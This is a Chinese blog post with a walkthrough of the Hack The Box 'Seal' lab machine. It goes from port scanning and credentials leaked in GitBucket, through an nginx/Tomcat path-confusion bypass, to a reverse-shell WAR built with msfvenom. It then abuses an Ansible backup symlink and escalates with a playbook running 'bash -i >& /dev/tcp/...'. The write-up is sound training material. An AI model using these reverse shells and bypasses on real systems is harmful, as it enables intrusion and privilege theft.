【Hack The Box】linux练习-- seal

最新推荐文章于 2024-07-19 22:29:07 发布
最新推荐文章于 2024-07-19 22:29:07 发布
阅读量655 收藏
点赞数
分类专栏： Hack The Box 文章标签： linux 服务器 网络
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_65527369/article/details/128016308
版权

HTB 学习笔记

【Hack The Box】linux练习-- seal

🔥系列专栏：Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间：🌴2022年11月17日🌴
🍭作者水平很有限，如果发现错误，还望告知，感谢！

文章目录

在这里插入图片描述

信息收集

22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Sat, 21 Aug 2021 00:59:51 GMT
|     Set-Cookie: JSESSIONID=node0gavl59qm2zrx1qhzhowcumpi72.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Sat, 21 Aug 2021 00:59:50 GMT
|     Set-Cookie: JSESSIONID=node0drs9zl7mym6gi9hyziw3t1m90.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sat, 21 Aug 2021 00:59:51 GMT
|     Set-Cookie: JSESSIONID=node01q9qys7bogc7sqx9vdtz49od11.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal

commonName=seal.htb
nginx/1.18.0 (Ubuntu)
还有一个8080的代理服务器应该是（http-proxy）

爆破域名

wfuzz -u https://10.10.10.250 -H 'Host: FUZZ.seal.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

在这里插入图片描述
显然默认大小写chars有 19737 个字符。 我会添加 --hh 19737并重新运行：
结果如下，全是400，

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000689:   400        16 L     122 W      2250 Ch     "gc._msdcs"
000009532:   400        14 L     100 W      1949 Ch     "#www"
000010581:   400        14 L     100 W      1949 Ch     "#mail"
000019834:   400        14 L     100 W      1949 Ch     "_domainkey"

443

发现了一个可疑用户名
Jomono
发现一个注册，但没有发现登陆

在这里插入图片描述网站上有两种形式可以接受输入，一种是搜索，另一种是联系我们。
其他地方没有任何功能

两种形式都将所有输入作为 GET 参数粘贴，返回的页面与没有参数的页面完全相同：

GET /?Your+Name=0xdf&Email=0xdf%40seal.htb&Phone+Number=9999&Message=9999 HTTP/1.1
Host: seal.htb
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://seal.htb/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

目录爆破

feroxbuster -u https://seal.htb -k

爆破方法随便，咋样都行

02        0l        0w        0c https://seal.htb/admin
302        0l        0w        0c https://seal.htb/images
302        0l        0w        0c https://seal.htb/css
302        0l        0w        0c https://seal.htb/js
302        0l        0w        0c https://seal.htb/manager
302        0l        0w        0c https://seal.htb/icon
[####################] - 33s    29999/29999   0s      found:6       errors:0      
[####################] - 32s    29999/29999   918/s   https://seal.htb

/manager是 Tomcat 网络服务器的通用路径。 /manager/html是基于 GUI 的管理面板，并且 /manager/text/是基于文本的版本（我在 Tabby 中使用了它）。

有趣的是 feroxbuster没找到 /manager/html/或者 /manager/text/. 当我尝试结帐时 /manager在 Firefox 中，它无法连接：

在这里插入图片描述
我将用curl访问这个页面，看看具体信息

curl -k -I https://10.129.95.190/manager

在这里插入图片描述看到他是重定向到了http，而http上只有8080的代理，却没有80的web

目前没办法，又可能内部运行了一个80，但目前没有思路

在这里插入图片描述
admin目录也没有东西，显示页面无索引，那我们就接着爆破一下

───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
403        7l       10w      162c https://seal.htb/admin/dashboard
403        7l       10w      162c https://seal.htb/admin/dashboards

有两个

在这里插入图片描述
啥也没有

8080

在这里插入图片描述gitbucket 的一个实例

没有弱口令，初步检测没有sql注入，有注册页面

我将注册一个账号

在这里插入图片描述

在这里插入图片描述
随便点开一个能发现使用的tomcat和nginx

在这里插入图片描述点开tomcat有一些配置文件，但是没有包含密码的那个默认配置文件

在这里插入图片描述
在一个xml文件找到了账号密码

在这里插入图片描述

username="tomcat" password="42MrHBf*z8{Z%"

/manager/html，是403. 我可以尝试基于文本的管理器，但我没有那个角色（会显示 manager-script在 roles).

继续找，还有很多配置信息

在这里插入图片描述代理了一个本地8000

并且本地的 /manager/html被代理掉了，结合实际情况
肯定有一个8000的端口代理了tomcat登陆
所以我们接下来的思路就是要拿到一个shel

tomcat与nginx相互验证混淆

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

演示文稿中的示例如下所示：
在这里插入图片描述
在这里插入图片描述

简单来说 当nginx回隐藏一些常用服务 通过混淆，绕过nginx但是tomcat正确识别的方法 如果我传递一个像这样的 URL ：
https://seal.htb/manager;name=rong/html, NGINX 会将其视为完整的 URL，但 Tomcat
会将其视为 https://seal.htb/manager/html. 第一个 URL 不匹配 需要转发的
/manager/html，因此它不会检查相互身份验证。 相反，它将被转发到 Tomcat。 但是 Tomcat 会看到
/manager/html, 并返回该页面。 这是有效的：

我将访问下面的url
https://seal.htb/manager;name=rong/html
并且输入这个凭证
username=tomcat password=42MrHBf*z8{Z%

登陆到了控制面板，在下面的war上传界面可以上传恶意war文件

msfvenom -p java/shell_reverse_tcp lhost=10.10.14.29 lport=443 -f war -o rev.war

在这里插入图片描述

而后在首页，单击文件
在这里插入图片描述

本地拿到shell

创建稳定shell

script /dev/null -c bash

在这里插入图片描述

/opt有个 backups文件夹：
打开一路往下
/opt/backups/archives
这个应该是一处归档文件，可是里面什么都没有
在这里插入图片描述
但是我看完喀麦隆这一次进攻之后他就突然出现了两个文件
说明这是计划任务

我先不管，先把刚才另外一个文件夹看完
这 playbook文件夹有一个文件， run.yml:

- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup--.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

这看起来是每分钟运行的内容。 这是一个 Ansible 包含三个任务

https://www.ansible.com/

Ansible 是一种通用语言，是一个剧本，类似于自动化的做一些动作

三项任务：

“复制文件”获取dashborad/的所有文件并将它们复制到该目录中的/opt/backups/files “Server
Backups”运行 归档 模块生成 .gz带有时间戳的文件。
“清洁”删除 files使用 文件 模块的目录。

Ansible

我们利用这个相当于计划任务的方式是利用软连接
将我们的/home/luis/目录软连接到他执行备份的路径之内

为了利用它，我需要在 Tomcat Web 目录中寻找我可以编写的内容。 找到了 uploads文件夹：

tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ find . -writable
./uploads

我将在上传文件夹中创建指向 luis 主目录的符号链接：

ln -s /home/luis/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/

再备份的时候就可以备份/home/luis/了
在这里插入图片描述

tar zxf backup-2022-11-24-10:56:33.gz --force-local

那其实是因为 tar对待 :表示它之前的部分是它应该连接到的主机名。 我可以通过重命名来解决这个问题
或者给它 --force-local。
在这里插入图片描述
在这里插入图片描述
luis目录下还有一个.ssh
复制到本地而后赋权600
而后登陆ssh
在这里插入图片描述
在这里插入图片描述

提权

剧本提权
我将写一个剧本而后调用它

rev.yml

- hosts: localhost
  tasks:
  - name: rev
    shell: bash -c 'bash -i >& /dev/tcp/10.10.14.22/443 0>&1'

sudo ansible-playbook rev.yml

在这里插入图片描述

人间体佐菲
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
Linux下使用SEAL同态加密,Linux下使用SEAL同态加密
weixin_42131628的博客
05-15 1119
SEAL 全称Simple Encrypted Arithmetic Library，是微软研究院提出的一种同态加密算法的实现方案，其最终结果是一个C++库，在程序中调用相关API，完成同态加密的功能。因为毕设要用到相关的内容，所以做了些调研。0 准备工作SEAL就是源码。1 编译同样还是config、make两兄弟，但是这里还是有很多坑。因为官网只提供了源码，没有给文档，所以编译还是花了很多功夫...
[HTB]Seal
cosmoslin的博客
11-16 1181
信息搜集 nmap 发现开启了22(SSH)、443(HTTPS)和8080(HTTP)端口。 root@kali://# nmap -A 10.10.10.250 Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-15 19:03 CST Nmap scan report for 10.10.10.250 Host is up (0.28s latency). Not shown: 997 closed ports PORT STATE SER.
Linux/Ubuntu安装SEAL3.6
AdijeShen的博客
04-04 2345
Microsoft SEAL Ubuntu下安装 采用Virtualbox, Ubuntu20.04。如果后面报错请优先考虑是否是linux版本过老导致apt-get下载的依赖包版本过久。 打开终端 安装依赖项 sudo apt-get install clang sudo apt-get install cmake sudo apt-get install gcc sudo apt-get install g++ sudo apt-get install git sudo apt-get install
关于在linux（Ubuntu 18.04.1 LTS）环境中安装Microsoft SEAL（3.7.1）（可以实现BFV和CKKS的同态加密库）
qq_46000760的博客
11-01 1288
步骤： cmake_minimu_required(VERSION 3.13)(cmake的版本要求为3.13或以上) 1.git clone 加密库资源 git clone https://github.com/microsoft/SEAL 2.编译和安装 cd SEAL (网络原因可能会报错，多尝试几次) cmake . 该步骤成功后显示如下 ———————————————————————————————— make -j (可能会报错，多尝试几次) 该步骤成功后显示如下 —————
Hack-the-Box-OSCP-Preparation:Hack-the-Box-OSCP-Preparation
03-20
介绍你好呀！如果您不认识我，我叫Rana Khalil，然后按Twitter句柄 。在花了将近八个月的时间，攻读了Offensive Security Certified Professional（OSCP）认证后，我很高兴地宣布我已获得OSCP官方认证！...
HackTheBox-Writes-Ups:HackTheBox CTFC挑战写作
03-20
【标题】"HackTheBox-Writes-Ups:HackTheBox CTFC挑战写作"涉及的是一个网络安全领域的活动，其中“HackTheBox”是一个知名的在线平台，它提供了模拟黑客攻击的环境来提升安全专业人员的技能。CTF（Capture The Flag...
Hackthebox e Vulnhub - Dicas e Truques.pdf
10-06
在这个领域，两个知名的在线平台是Hackthebox和Vulnhub，它们提供虚拟环境供用户实践和提升渗透测试技能。这份PDF文档作者Joas Antonio分享了一些初学者在接触这些平台时可能会发现有用的技巧和策略。 首先，对于...
Stego-Challenges-HackTheBox-Write-Ups:Hack The Box带来的Stego挑战| Walkthoughs写ups
03-21
在IT安全领域，尤其是黑客挑战平台如Hack The Box（HTB）中，"Stego"是一种常见的挑战类型，它涉及到隐藏信息的技术，通常被称为隐写术。隐写术是一种利用图像、音频、文本等载体秘密传输信息的方法。在这个特定的...
hackthebox注册教程
01-20
官方网址：https://www.hackthebox.eu/ hackthebox是一个靶场，听说和vulnhub很像，最近迷上了做靶场，于是就像去hackthebox看看，发现还是注册，而且注册好像还没有那么简单 在首页的最下面有个join,进行点击 发现...
Linux 安装
sealbird的专栏
05-11 100
http://blog.chenlb.com/tag/raid http://lingping.blog.51cto.com/121716/122110 http://blog.chenlb.com/tag/raid http://pzz.cn/bbs/index.php 论坛 http://net.csai.cn/zt/raidbase/index.htm 磁盘阵列技术原理分析[相当好，有...
Linux(Ubuntu18.04)安装SEAL-python
呆萌的代Ma
01-13 1075
github网站：https://github.com/Huelse/SEAL-Python 安装方法如下： 首先判断python的版本，暗转对应的python3.x-dev，比如python3.6.10，就安装： sudo apt-get install python3.6-dev 编译： sudo apt-get install build-essential cmake python3 python3-dev python3-pip git clone https://github.com/
Linux下使用SEAL同态加密,pyseal: pyseal 是一个 Python 同态加密库，它使用用于 Python 与 C++ 之间相互暴露类型的 pybind11 库，将微软开源的同态加密库...
weixin_33901995的博客
05-15 693
Microsoft SEAL For PythonMicrosoft SEAL is an easy-to-use open-source (MIT licensed) homomorphic encryption library developed by the Cryptography Research group at Microsoft.pybind11 is a lightweight ...
Linux下使用SEAL同态加密
liuyueyi1995的博客
03-26 5548
SEAL 全称Simple Encrypted Arithmetic Library，是微软研究院提出的一种同态加密算法的实现方案，其最终结果是一个C++库，在程序中调用相关API，完成同态加密的功能。因为毕设要用到相关的内容，所以做了些调研。
Hack the Box Seal 靶机渗透
Shadow的博客
07-26 878
Seal 靶机渗透 目标：得到root权限,取得user.txt,root.txt 作者：shadow 时间：2021-07-26 请注意：我将使用Kali Linux作为攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，概不负责。 一、信息收集 尝试访问8080端口，提示我们注册帐号，注册帐号后进入页面 Deploy updated tomcat configuration. Disable manager and host-manager. 从页面提示可以得.
Qmi8658a姿态传感器使用心得（2）linux
Starry的博客
07-19 687
COD 原理，CTRL9，自检（详细代码示例）
【Linux服务器Java环境搭建】010在linux中安装Redis，以及对Redis的配置与远程连接
最新发布
liuzhenhe1988的专栏
07-19 686
好久没有更新博客了，今天下了班回到家，看到电脑桌上尘封已久的《Spring Boot应用开发实战》，翻开目录想起来之前写的系列【Linux服务器Java环境搭建】还未完结，那就继续吧，今天主要是按linux服务器中安装和配置redis。本系列其他文章，请查看系列【Linux服务器Java环境搭建】
Linux 权限
includemainprinf的博客
07-18 517
在Linux操作系统中，权限管理是一个至关重要的概念，它确保了系统的安全性和稳定性。同时可以在工作中，设置对象的权限，就算我们很多人使用一台服务器，我们也可以让别人看不到我们文件的内容，或者让别人无法对自己的文件进行操作！
【Linux】深入探索`cp`命令：文件复制的全面指南
lph159的博客
07-18 309
cp命令用于复制文件或目录的内容。cp [选项] 源文件 目标文件或目录使用cp命令可以在文件系统中创建新的副本，无论是单个文件还是整个目录树。接下来我们将详细介绍cp命令的各个选项及其用法。
hackthebox - reel
11-03
HackTheBox - Reel是一个在黑客社区非常受欢迎的虚拟机靶场。这个靶场的目标是通过渗透测试和攻击手法，找到并获得系统的管理员权限。靶场基于漏洞存在和网络安全问题，提供了一个真实的环境来练习和提升安全技能。 ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值